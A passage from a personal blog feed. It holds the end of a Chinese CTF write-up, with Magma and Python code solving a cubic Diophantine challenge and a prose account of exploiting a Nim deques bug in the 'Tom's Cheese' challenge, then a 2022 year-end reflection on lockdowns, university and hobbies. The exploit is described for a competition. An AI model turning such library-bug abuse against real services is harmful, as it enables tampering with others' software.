class="hljs-comment">// We see is cubic, three variables, and every  term has the same degree (3) , therefore this is a cubic  </span><span class="hljs-comment">// homogeneous curve,  we know there is a point which is not the solution we want </span><span class="hljs-comment">// the point (-1,4,11) fits in the original "problem" so it should fit in this new curve without denominators too (since no denominator becomes 0) </span> <span class="hljs-comment">// We transform this equation to a "curve" in Projecive space of dimension 2 </span>P2&lt;x,y,z&gt; := ProjectiveSpace(Rationals(),<span class="hljs-number">2</span>); C := Curve(P2,x^<span class="hljs-number">3</span> - <span class="hljs-number">3</span>*x^<span class="hljs-number">2</span>*y - <span class="hljs-number">3</span>*x^<span class="hljs-number">2</span>*z - <span class="hljs-number">3</span>*x*y^<span class="hljs-number">2</span> - <span class="hljs-number">5</span>*x*y*z - <span class="hljs-number">3</span>*x*z^<span class="hljs-number">2</span> + y^<span class="hljs-number">3</span> - <span class="hljs-number">3</span>*y^<span class="hljs-number">2</span>*z - <span class="hljs-number">3</span>*y*z^<span class="hljs-number">2</span> + z^<span class="hljs-number">3</span>);  <span class="hljs-comment">// fit the point to the curve C (no error is returned) </span>Pt := C![<span class="hljs-number">-1</span>,<span class="hljs-number">4</span>,<span class="hljs-number">11</span>];  <span class="hljs-comment">// Since all cubic homogeneous curve with at least one point define an elliptc curve, we can transform  </span><span class="hljs-comment">// this curve C to an elliptc curve form and just like in cryptography, we will add this known point (mapped to the corresponded curve) </span><span class="hljs-comment">// with itself until we get only positive coordinates and go back to C (original Problem) </span> <span class="hljs-comment">// Below, E is the curve, f is the map that maps   Points f:C -&gt; E  (C is our original curve without denominators, both curves C,E are equivalent  </span><span class="hljs-comment">// but in E we can "Add points" to get another point of E. </span><span class="hljs-comment">// and with f^-1 we can return to the point of C which is our original solution </span> E,f := EllipticCurve(C);  <span class="hljs-comment">//g is the inverse g:E-&gt;C  , f:C-&gt;E     so g(f([-1,4,11]))=[-1,4,11] </span>g := f^<span class="hljs-number">-1</span>;  <span class="hljs-comment">// We try adding the known point Pt=[-1,4,11] mapped to E, 2..100 times </span><span class="hljs-comment">// to see if when mapped back the added point to C gives positive coordinates </span><span class="hljs-comment">//, this is 2*Pt, 3*Pt, ...., 100*Pt  and then mapping back to C all these. </span><span class="hljs-keyword">for</span> n:= <span class="hljs-number">1</span> to <span class="hljs-number">100</span> do  <span class="hljs-comment">// we calculate n times the point of C, known [-1,4,11] but mapped (via f) inside E (where we can do the "n times")  </span>    nPt_inE:=n*f(Pt);  <span class="hljs-comment">// we take this point on E back to C via f^-1  (which we renamed as g) </span>    nPt_inC:=g(nPt_inE);  <span class="hljs-comment">//We obtain each coordinate of this point to see if is our positive solution, </span><span class="hljs-comment">// here MAGMA scales automatically the point such as Z is one always 1,  </span><span class="hljs-comment">// so it puts the same denominators in X,Y, so numerators of X,Y are our  </span><span class="hljs-comment">//solutions and denominator our Z,  think of  P=(a/c,b/c,1)   then c*P=(a,b,c) </span>    X := Numerator(nPt_inC[<span class="hljs-number">1</span>]);     Y := Numerator(nPt_inC[<span class="hljs-number">2</span>]);     Z := Denominator(nPt_inC[<span class="hljs-number">1</span>]);  printf <span class="hljs-string">"X=%o\nY=%o\nZ=%o\n"</span>,X,Y,Z;  <span class="hljs-comment">// We check the condition for our original problem. </span>  <span class="hljs-keyword">if</span> ((X gt <span class="hljs-number">0</span>) and (Y gt <span class="hljs-number">0</span>)) then        printf(<span class="hljs-string">"GOT IT!!! x=apple, y=banana, z=pineapple, check the above solution\n"</span>);      <span class="hljs-keyword">break</span>;   <span class="hljs-keyword">else</span>      printf <span class="hljs-string">"Nee, some coordinate was negative above, I keep in the loop\n\n"</span>;   end <span class="hljs-keyword">if</span>;  end <span class="hljs-keyword">for</span>;     <span class="hljs-comment">// We check the solution fits in the original problem </span><span class="hljs-keyword">if</span> Evaluate(problem, [X,Y,Z]) eq <span class="hljs-number">0</span> then     printf <span class="hljs-string">"I evaluated the point to the original problem and yes, it worked!\n"</span>; <span class="hljs-keyword">else</span>     printf <span class="hljs-string">"Mmm this cannot happen!\n"</span>; end <span class="hljs-keyword">if</span>;</code></pre><p>对于 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.69444em;vertical-align:0em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span> 取其他值的情况，只需要提供一组整数特解（不需要正整数），改动一下程序里的方程和特解，即可求出正整数解。</p><p>至于如何找到一组整数特解，可以用 Mathemetica 或这个 Python 程序：</p><pre><code class="hljs python"><span class="hljs-keyword">from</span> math <span class="hljs-keyword">import</span> gcdn = <span class="hljs-number">100</span><span class="hljs-keyword">def</span> <span class="hljs-title function_">calc</span>(<span class="hljs-params">k</span>):    <span class="hljs-keyword">for</span> x <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(-n, n + <span class="hljs-number">1</span>):        <span class="hljs-keyword">for</span> y <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(-n, n + <span class="hljs-number">1</span>):            <span class="hljs-keyword">for</span> z <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">0</span>, n + <span class="hljs-number">1</span>):                <span class="hljs-keyword">if</span> gcd(x, gcd(y, z)) == <span class="hljs-number">1</span>:                    <span class="hljs-keyword">if</span> x**<span class="hljs-number">3</span> + y**<span class="hljs-number">3</span> + z**<span class="hljs-number">3</span> - (k-<span class="hljs-number">1</span>) * x**<span class="hljs-number">2</span> * (y + z) - (k-<span class="hljs-number">1</span>) * y**<span class="hljs-number">2</span> * (                            z + x) - (k-<span class="hljs-number">1</span>) * z**<span class="hljs-number">2</span> * (x + y) - (<span class="hljs-number">2</span>*k-<span class="hljs-number">3</span>) * x * y * z == <span class="hljs-number">0</span>:                        <span class="hljs-built_in">print</span>((x, y, z))calc(<span class="hljs-number">10</span>) <span class="hljs-comment">#2, 4, 6, 8, 10, 12, 14</span></code></pre><p>最后解下来发现 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi><mo>=</mo><mn>8</mn></mrow><annotation encoding="application/x-tex">k=8</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.69444em;vertical-align:0em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">8</span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi><mo>=</mo><mn>12</mn></mrow><annotation encoding="application/x-tex">k=12</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.69444em;vertical-align:0em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">1</span><span class="mord">2</span></span></span></span> 用这个方法解不出正整数解，不过解出五组也够了，提交即可拿到 flag。</p><p>附上解出的答案（每三行对应一组解，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi><mo>=</mo><mn>8</mn></mrow><annotation encoding="application/x-tex">k=8</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.69444em;vertical-align:0em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">8</span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi><mo>=</mo><mn>12</mn></mrow><annotation encoding="application/x-tex">k=12</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.69444em;vertical-align:0em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">1</span><span class="mord">2</span></span></span></span> 解不出所以用 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">1</span></span></span></span> 占位）。</p><pre><code class="hljs">1134373612677928697257861252602371390152816537558161613618621437993378423467772036368751317941299998271978115652254748254929799689719709962831374716372246340555791544768021087461664419513150199198374856643256695654317000266348982532020352779991218343242702905855792264237868803223073090298310121297526752830558323845503910071851999217959704024280699759290559009162035102974023225032402201268386688642646194249481114120008492122321846196737758856447761622076778963225735852195244304981379971238636762392597144720260869859883222379931520298326390700152988332214525711323500132179943287700005601210288797153868533207131302477269470450828233936557111486237874538064262673731810148497763721905732356465890768665333959971445479055913094632095393819718121052555403971012213608619064201340292795283107902121058565307878681327935178490639793420926910311384652071019808659901831692881083109726138133576792688050707991134709544098774970366315687499590715801486684605848531840862995774951966598778232783014345433751837895584646378560097722185598160238070419680451885431654175988385793202828558181254940463484424373750274401154975744845313549355609896421653295060459073385345027218498760343088268275417130074269817993184931034711135686662438826817213563656105539275101535697856185534149345343499844688924609645885022355135918404539985234360061600350189104933602381092051318547433998422974780849873203504443997848655625530623340371134341848128666616900144765579208079985990838064549216971926322724228681888830028303266068257138844044018255271435540077145919301591275738734597339459327150605278900738075092002974105991478458558870434061142265122382216368947373807069713709930176019498122168857679124768213308531786347567931187892878408434918309016688829685352835815066580725250947929501490665081644655994535671618967990757851510884824555077182679991403377524647154791971060789752020813552933450127083583289512848480063215680871789266871667712713169422322364887230502908301686924054210360219287364955960956032042950833997524453330328272059153308291883334074276913609077731735284223918404284292419020812011476995921011741346807748175931518235517265745772175162459312702479399232407706908845419443981643112692945551070592330727356541136923766994413647861488973051126611026148759432379003889674724917944805607605522248369290505402289434909292483537959789906318874307733003636212064338665528270372138914552950520981104343589517822223391222134534938052800801473344178058681643355234652680630054983022124146408518221588969589953072079556410755020859599503506797164705586073997208789455400263349566445512977221962882867406488146422316005409966253780701584170838345028112949069889795685718655327046530483250125959173355678292967658914005638877070834611505129167951369865542011417024870301563177370018869158755113622408743199140022326059195657852986370212647002055769249427919561331384755453850684244409515534188128908717886781958319756449082516858512445042864312213606923472603131125312862163489874095569215350848020642593339333668497345496027314732958586211664873526777590213207494911489341805851119668605552962767170913510242826640252157887972782075528961355280336062145612460747723606271048651830697376448515279240383698244712760744225617860238413865463069908161808789650454745241907704275844268620641928071536471935844496315769833202537470824958655459533568285132339283938618222343063802537728518395353298233528915216796009477850913583253348657316305539116116545529005061890628594181727302600959589188925735191971379694355706370298940995871183032396390416512085602791303587544723405481920940763675217080848135445539322941838539207033324978817714980582330599640124052912926967531985018964876558514387292744663121901875818330026053857596485757632641362185800414508505696823397811729195950762298074638691319598677024682842850500466055330411193599574996670260492507269475864903238391223895885326678414020683576454741709602863217280010851276168216825863859040573444354295907934826671130563636454528049432770350792561383855445596764198934593413598210756244283133960172840494637655709996380769394897289315770647496306848105333931092479090617211591870032362741315085682044427187443198542321608859209927599313570244522981341655403891925668762696793907719481465429601734095543340697977445619789263260333955040257765154323207653185423045654950066530171927420226708484847785148696362128051684009006287078367627113950302616742922350689746559256788547473738546253597036529913164008886239140866538868133679321426499925438865107499467210806447455966881784773074840257999701947361563910608976890850681120516418668282306768016924440530657848816537335699121355049359050909203907837738074834870503545777919981175568661436044790745106190148655805228367983101181212325466410819682955290429003903817402587001173305732027063327857844602177643062519383986512680204327254096771700429703051102034935679024023938939600112395597429238435179484118705481556442118355641560666323383577129730629044138380813402139286515787005542023454150524855541144750166180919865766930052623463014576174554467821213957706498855559077927873140148579022102984237075640747995279989642832992188016154244525422278966269291094999255638208855482151405506938548578978626993952306016946318459909590778342355856153147577472731880392922408448351120608836436787309376542102861246758131059387213726386714147750943829877803608813501157597297132278662569590484844550173720257728957567960401433605097886634959342671140099728318480661981670113406848719025661715441498240565928452257694284734033186800579565313362313891643040303824890693074326810596828204114920499564539002024387811501676993037142024700539208458234538805837480373101259087885435757318639663667261597412600756998748849468402910307204633942748903285652463107201618869806410335014875125086076219328243935905232512517288787677039607942380387101187256890064827850683397174701574071447859273840130243421585240230546720814792141872637351043465819000677767263935304511294609746934407215686517293774009054989655225608925542221677606386577019926666519641600364567557194208313131276771325487167689236642467808540431881464601888142548664563650077494805488093052836193825650435423280004797008818023441669902387920463908641771270053841646139610358473027295405503333253535988771195991171826325976224803312343154770764448787106871066190163308337503496520787439022463066715315188820932966437067264819835942543744914754708785528560264636221600739219290648079243002368855133337672334702546690962019521762114649491890011821844552982141986770779324959379319663450035429876647739511502891515857175267046923938895240190738331037400875186816754190488884935451452912276673912555287036698557958114181944091831763987997170817657860587503942307866008409270543838849198648993460302655964709466390742236643982561028874558104072512842460862178322605890336695658154025228215730711703698453887</code></pre><h3 id="toms-cheese"><a class="markdownIt-Anchor" href="#toms-cheese"></a> Tom’s Cheese</h3><p>拿到了 Nim 程序源代码，读了好几遍感觉没啥问题啊，怎么会有漏洞呢？即使在 Hint 给出之后，我依然百思不得其解，因为我下意识地认为 GitHub 上 Closed 的 Issue 应该都已经在最新版本（1.6.10）中被修复。</p><p>直到最近（3月10日） Nim 发布了 1.6.12 版本，我看了眼更新日志，发现竟然提到了修复了 <code>deques</code> 组件的一个 bug，于是赶紧翻找<a href="https://github.com/nim-lang/Nim/pull/21284">对应的 PR</a>。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_5118f01485c7843f0fb586ae3cbc8ce8.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_5118f01485c7843f0fb586ae3cbc8ce8.png?width=1920" srcset="/loading.gif" alt=""></p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_13714f4828484f468c30716fc61418ec.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_13714f4828484f468c30716fc61418ec.png?width=1920" srcset="/loading.gif" alt=""></p><p>有意思的是，这么严重的一个 bug 明明一月份就提出并修复了，怎么拖到现在才发布 Release 1.6.12。而 Release 1.6.10 是去年11月发布的，自然不会包括这个 bug 的修复，于是就给了我们可乘之机。</p><p><code>deques</code> 实现的是一个顺序存储的双端循环队列，仔细看了一下发现触发 bug 的条件是队列中元素个数为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mi>k</mi></msup></mrow><annotation encoding="application/x-tex">2^k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.849108em;vertical-align:0em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.849108em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span></span></span></span></span></span></span> 个，此时 <code>shrink(fromFirst = 0, fromLast = 1)</code> 就会出现不正确的结果，即队首元素变成了0。</p><p>那么利用这一个 bug，Tom 只要把奶酪的数量先搞成16个，然后用选项4喂 Jerry 0个，Tuffy 1个，于是队首的奶酪就神奇地变成了零卡的过期奶酪，再喂给 Jerry，这样 Jerry 的健康值就会下降，然后不停重复这一过程直至 Jerry 不健康了，就拿到了 flag。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_5460f00ece6b18a41a33db401c15f4be.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_5460f00ece6b18a41a33db401c15f4be.png?width=1920" srcset="/loading.gif" alt=""></p><p>（flag 说得对，不过我杀死的好像是 Jerry 不是 Tuffy 吧hhh)</p><h2 id="总结"><a class="markdownIt-Anchor" href="#总结"></a> 总结</h2><p>总的来说，这次比赛体验很棒。题目的难度设置合理，让我这种 CTF 零基础小白在不熟悉的方向（比如 Crypto、Reverse、Pwnable）能边学边做，打完比赛又学到了很多新知识。同时题目也足够新颖，很有创意，几乎没有直接照搬的套路化的东西，是需要自己去分析思考的。当然还有奇安信赞助的丰厚奖金，做题的动力直接拉满。</p><p>最后拿了11847分，总排名#7，意外地挤进了前十，被大佬们包围着瑟瑟发抖。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/13/d561b8990d0daa79d65cb25bc1ebc665.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/13/d561b8990d0daa79d65cb25bc1ebc665.png?width=1920" srcset="/loading.gif" alt=""></p></body></html>]]></content>
    
    
    <summary type="html">&lt;p&gt;好久没更新博客了，周记已经咕咕咕好几个月了，等有空再写吧（&lt;/p&gt;
&lt;p&gt;作为一个非计算机和信息安全专业学生、除了 Web 方向会一点其它啥都不会的小白，前段时间参加了我校举办的 CTF 网络安全技术挑战赛。给官方提交了 Writeup 后想着不能浪费这水文章的大好机会，就在博客上也发一遍吧。&lt;/p&gt;</summary>
    
    
    
    <category term="水" scheme="https://blog.hans362.cn/categories/%E6%B0%B4/"/>
    
    
    <category term="Web" scheme="https://blog.hans362.cn/tags/Web/"/>
    
    <category term="网络安全" scheme="https://blog.hans362.cn/tags/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/"/>
    
    <category term="CTF" scheme="https://blog.hans362.cn/tags/CTF/"/>
    
    <category term="Crypto" scheme="https://blog.hans362.cn/tags/Crypto/"/>
    
    <category term="Reverse" scheme="https://blog.hans362.cn/tags/Reverse/"/>
    
    <category term="Pwnable" scheme="https://blog.hans362.cn/tags/Pwnable/"/>
    
    <category term="Misc" scheme="https://blog.hans362.cn/tags/Misc/"/>
    
    <category term="Writeup" scheme="https://blog.hans362.cn/tags/Writeup/"/>
    
    <category term="解题报告" scheme="https://blog.hans362.cn/tags/%E8%A7%A3%E9%A2%98%E6%8A%A5%E5%91%8A/"/>
    
  </entry>
  
  <entry>
    <title>2022年终总结</title>
    <link href="https://blog.hans362.cn/post/2022-annual-report/"/>
    <id>https://blog.hans362.cn/post/2022-annual-report/</id>
    <published>2022-12-31T15:59:59.000Z</published>
    <updated>2025-12-31T14:36:17.814Z</updated>
    
    <content type="html"><![CDATA[<html><head><link rel="stylesheet" class="aplayer-secondary-style-marker" href="https://blog.hans362.cn/npm/APlayer@fix-smoothscroll/dist/APlayer.min.css"><script src="https://blog.hans362.cn/npm/APlayer@fix-smoothscroll/dist/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script>var meting_api='https://api-v2.hans362.cn/vip/?server=:server&type=:type&id=:id&r=:r'</script><script class="meting-secondary-script-marker" src="/js/Meting.min.js"></script></head><body><p>2022年的最后一个冬夜，我和往年一样坐在屏幕前，试图用文字为过去的一年画上句号。今年的我，沉思良久，却一时不知从何写起。</p><p>2022年发生了太多事情，让我感到恐惧、愤怒、无奈、迷茫，却也让我看到一丝丝希望。这些事情注定不被允许存在于「正确的集体记忆」中，但这片土地上的苦难、悲剧、抗争、勇气值得被铭记。因此，我愿将它们和我的生活一起，写入我的年终总结，作为它们曾经存在过、发生过的一份见证。</p><span id="more"></span><h2 id="年度关键词荒诞"><a class="markdownIt-Anchor" href="#年度关键词荒诞"></a> 年度关键词：「荒诞」</h2><blockquote><p>2020年的再度轮回。</p></blockquote><p>用一个词来概括2022年，我想只能是「魔幻」或「荒诞」。翻了下2020年的年终总结，我发现我已经用过「魔幻」了，所以今年就用「荒诞」吧。</p><p>整个上半年简直就像是直接挪用2020年的剧本，只不过把地点由武汉改成了上海。具体的经历可以看看<a href="https://blog.hans362.cn/post/weekly-25/">周记#25 - 近况报告：高中生活完结🎉</a>，此处不再赘述。</p><p>熬过了痛苦的网课、延期一个月的高考，匆匆过完缩水一个月的暑假，我终于迎来了大学生活。可开学第一天，星期二，我仿佛进入了循环。一人阳性，全校封闭，宿舍封楼，大学成了网课。具体的经历可以看看<a href="https://blog.hans362.cn/post/weekly-28/">周记#28 - “开学第一课”</a>，此处不再赘述。</p><p>十月底，终于有几周线下课。但是，48小时核酸检测、进出校申请制度成为了新常态。没有边界的权力肆意延伸，核酸检测信息开始与校园卡挂钩，不做核酸的后果是冻结卡片，不能洗澡吃饭。</p><p>原以为2022年就会在这新常态中结束，谁料十二月，风向一百八十度大转弯。宣传口对于新冠的论调变成了小感冒、可自愈，国家对于新冠病毒的认识似乎在一夜之间就取得了质的飞跃。明明就在不久前，国家还在高强度宣传动态清零、妖魔化新冠。就这样，在这场近乎运动式的剧变中，我们走向了放开。</p><p>然后，毫不意外地，退烧药抢破头，重症死亡人数飙升，一场场生离死别的人间惨剧再度上演。毕竟，最近一年里，我们忙着大建方舱，忙着大筛核酸，忙着封控维稳，却忘了提高医疗设备和服务，忘了为放开之后的药物保障做准备。</p><p>在本应逐步放开的绝佳时机大肆封控，牺牲了无数人的正常生活甚至是生命，造成了一场场本可以避免的灾难，却又在这个寒冷的冬天，毫无征兆地将措手不及的人们推到病毒面前裸奔，我想，没有比这更荒诞的事情了。归根到底，这是「科学」在这个国家决策过程中的缺失。我们的「科学」向来都是听从于政治的，而不是为政治指引方向的，决策不是随着「科学」的发展逐步演进的，而是尽可能地彰显自身所谓的正确性与优越性。而最终承受这一切后果的，只能是底层的百姓。</p><h2 id="于荒诞中勇敢抗争"><a class="markdownIt-Anchor" href="#于荒诞中勇敢抗争"></a> 于「荒诞」中勇敢抗争</h2><blockquote><p>他人为你梦中的光明燃尽过。</p></blockquote><p>很惭愧，我没有足够的勇气去抗争，我钦佩那些勇敢的人们，毅然起身，为更加光明的社会而战。无休止的封控能够迎来一个句号，离不开他们的努力。他们的勇气，让我看到了这片土地上依然有希望。</p><p>不要忘记那些夜晚的黑暗，不要忘记<code>#FFFFFF</code>色的纸张，不要忘记那墙上的涂鸦和灰黑色的补丁，光明的到来不是理所当然的，希望回归正常生活的那一天，我们依然记得他们并心存感激。</p><p>除此之外，还要记录一位特殊的抗争者——网易新闻。在媒体环境急剧恶化、新闻自由受到严重威胁的今天，在各大媒体年终总结一众的“妖艳贱货”中，网易新闻选择了展示平凡人真实的2022年，直面现实揭示苦难，也让人看到了人性中永不磨灭的温暖光辉，是对如今高唱赞歌、粉饰太平的媒体环境的勇敢抗争。</p><p><img src="https://hans362-img.oss.0vv0.top/2022/12/31/e14b56a2a825c82c9f5ffafbdaaf2fc5.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/12/31/e14b56a2a825c82c9f5ffafbdaaf2fc5.png?width=1920" srcset="/loading.gif" alt=""></p><div id="dplayer0" class="dplayer hexo-tag-dplayer-mark" style="margin-bottom: 20px;"></div><script>(function(){var player = new DPlayer({"container":document.getElementById("dplayer0"),"video":{"url":"https://drive.hans362.cn/api/raw/?path=/%E8%A7%86%E9%A2%91%E5%AD%98%E6%A1%A3/0001.%E5%93%94%E5%93%A9%E5%93%94%E5%93%A9-%E8%BF%99%E6%98%AF%E7%BD%91%E6%98%93%E6%96%B0%E9%97%BB%E7%9A%842022%E5%B9%B4%E5%BA%A6%E7%9B%98%E7%82%B9%EF%BC%8C%E5%92%8C%E9%82%A3%E4%BA%9B%E5%A6%96%E8%89%B3%E8%B4%B1%E8%B4%A7%E4%B8%8D%E4%B8%80%E6%A0%B7.mp4","pic":"https://drive.hans362.cn/api/thumbnail/?path=/%E8%A7%86%E9%A2%91%E5%AD%98%E6%A1%A3/0001.%E5%93%94%E5%93%A9%E5%93%94%E5%93%A9-%E8%BF%99%E6%98%AF%E7%BD%91%E6%98%93%E6%96%B0%E9%97%BB%E7%9A%842022%E5%B9%B4%E5%BA%A6%E7%9B%98%E7%82%B9%EF%BC%8C%E5%92%8C%E9%82%A3%E4%BA%9B%E5%A6%96%E8%89%B3%E8%B4%B1%E8%B4%A7%E4%B8%8D%E4%B8%80%E6%A0%B7.mp4&size=large"}});window.dplayers||(window.dplayers=[]);window.dplayers.push(player);})()</script><p>视频发出后没多久，不出意外地被删除了。不过没关系，当视频被删除的那一刻，这个视频便完整了。</p><h2 id="荒诞之下仍要好好生活"><a class="markdownIt-Anchor" href="#荒诞之下仍要好好生活"></a> 「荒诞」之下，仍要好好生活</h2><p>聊完沉重且严肃的话题，聊点轻松的吧，就像往年那样总结一下我个人的2022年。</p><h3 id="学习"><a class="markdownIt-Anchor" href="#学习"></a> 学习</h3><blockquote><p>警惕高考大类招生骗局。</p></blockquote><p>经过了上半年的备战，我在7月的高考中取得了一个中规中矩的成绩，不算很差，但也并不是什么高分。填报志愿时，我别无选择，只能硬着头皮往大类招生的天坑里面跳。最终，我的运气还不错，被 SJTU 工科信息类录取了。</p><p>进入大学后，由于疫情封校，大类招生专业分流一度延后，直到11月专业才最终确定。由于高考成绩并不出色，我与 CS/SE/IS 根本无缘，连自动化都够不到，最后是压着线去了完全陌生的信息工程专业。虽说这名字听着和软工什么的好像差不多，但实际上它属于电子系，学的内容涵盖了电子工程、通信工程、视频编码、机器学习、计算机视觉等等，完全是杂而不精。</p><p>虽然很遗憾，但事已至此，我也只能接受现实。平台内转专业的竞争过于激烈，我不愿再经历一次高四，就顺着这条路走下去吧。当然，如果有选择的机会，千万不要碰大类招生！</p><h3 id="游戏"><a class="markdownIt-Anchor" href="#游戏"></a> 游戏</h3><blockquote><p>无论当下的境遇如何，提瓦特大陆的星空永远会有你的位置。</p></blockquote><p>没错，今年陪伴我最久的游戏，当然是《原神》啦！无论是剧情，还是配音和 OST，都是一流的水准。作为一个零氪玩家也能玩得很开心。</p><p>对我而言，年度最佳任务可能是「森林书」吧。尽管这是继「神樱大祓」后又一长篇任务，被不少人吐槽冗长繁琐，但剧情真的很棒，像在读一个美妙的童话，<s>刀子也很棒</s>。</p><p>最后安利一个原神年度混剪~</p><iframe src="//player.bilibili.com/player.html?aid=819276261&amp;bvid=BV1dG4y177Gz&amp;cid=939411758&amp;page=1" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true"> </iframe><h3 id="音乐"><a class="markdownIt-Anchor" href="#音乐"></a> 音乐</h3><blockquote><p>网易云音乐==OST播放器</p></blockquote><p>年度歌手 HOYO-MiX，鬼知道我把 OST 听了多少遍。</p><p><img src="https://hans362-img.oss.0vv0.top/2022/12/31/26e113021b2f9f647e7324c0ee926256.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/12/31/26e113021b2f9f647e7324c0ee926256.jpg?width=1920" srcset="/loading.gif" alt=""></p><h3 id="阅读"><a class="markdownIt-Anchor" href="#阅读"></a> 阅读</h3><blockquote><p>不知道做什么的话，就去读书吧。</p></blockquote><p>说来也惭愧，除去教材外，今年读的书屈指可数。</p><ol><li>《一本小小的蓝色逻辑书》</li></ol><p>为了熟悉分流考的逻辑题买的。内容主要包括逻辑推理、逻辑漏洞、分析论述等方面的知识，每一章都配有几道练习题。就系统性而言我觉得这本书不太行，当然如果只是读一读打发时间顺便学点东西倒也还行。</p><ol start="2"><li>《献给阿尔吉侬的花束》</li></ol><p>看了 DIYgod 的推荐买了，是关于人生意义和成长的科幻小说，确实不错，中文译本也很有特色。</p><ol start="3"><li>《深入理解计算机系统》</li></ol><p>传说中的 CS:APP，只读完了前两章，填补了我的很多知识盲区，强烈推荐 C++ 初学者把前两章作为预备知识学习，对理解信息是如何在计算机中存储的很有帮助。</p><h3 id="博客"><a class="markdownIt-Anchor" href="#博客"></a> 博客</h3><blockquote><p>惨惨淡淡又一年。</p></blockquote><p>由于7月份的时候弃用了愈发臃肿的 Google Analytics，改用了自建的 Umami，因此丢失了上半年的访问量统计数据。</p><p><img src="https://hans362-img.oss.0vv0.top/2022/12/31/a1d0f01c5c7030417f7bd9d884aaa7f7.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/12/31/a1d0f01c5c7030417f7bd9d884aaa7f7.png?width=1920" srcset="/loading.gif" alt=""></p><p>今年发布了8篇文章，如果还有你没读过的，不妨去看看哦。</p><p><img src="https://hans362-img.oss.0vv0.top/2022/12/31/2ae66ad110f0ab840dbe7b202c8f5df4.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/12/31/2ae66ad110f0ab840dbe7b202c8f5df4.png?width=1920" srcset="/loading.gif" alt=""></p><p>今年新增9条有效评论，感谢每一个前来互动的人🥰</p><p><img src="https://hans362-img.oss.0vv0.top/2022/12/31/adb40bfc0bff2908c1a7d796a3d3ac99.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/12/31/adb40bfc0bff2908c1a7d796a3d3ac99.png?width=1920" srcset="/loading.gif" alt=""></p><h2 id="2023会更好的吧"><a class="markdownIt-Anchor" href="#2023会更好的吧"></a> 2023，会更好的吧？</h2><p>疫情三年，我已经对“春暖花开”这个词 PTSD 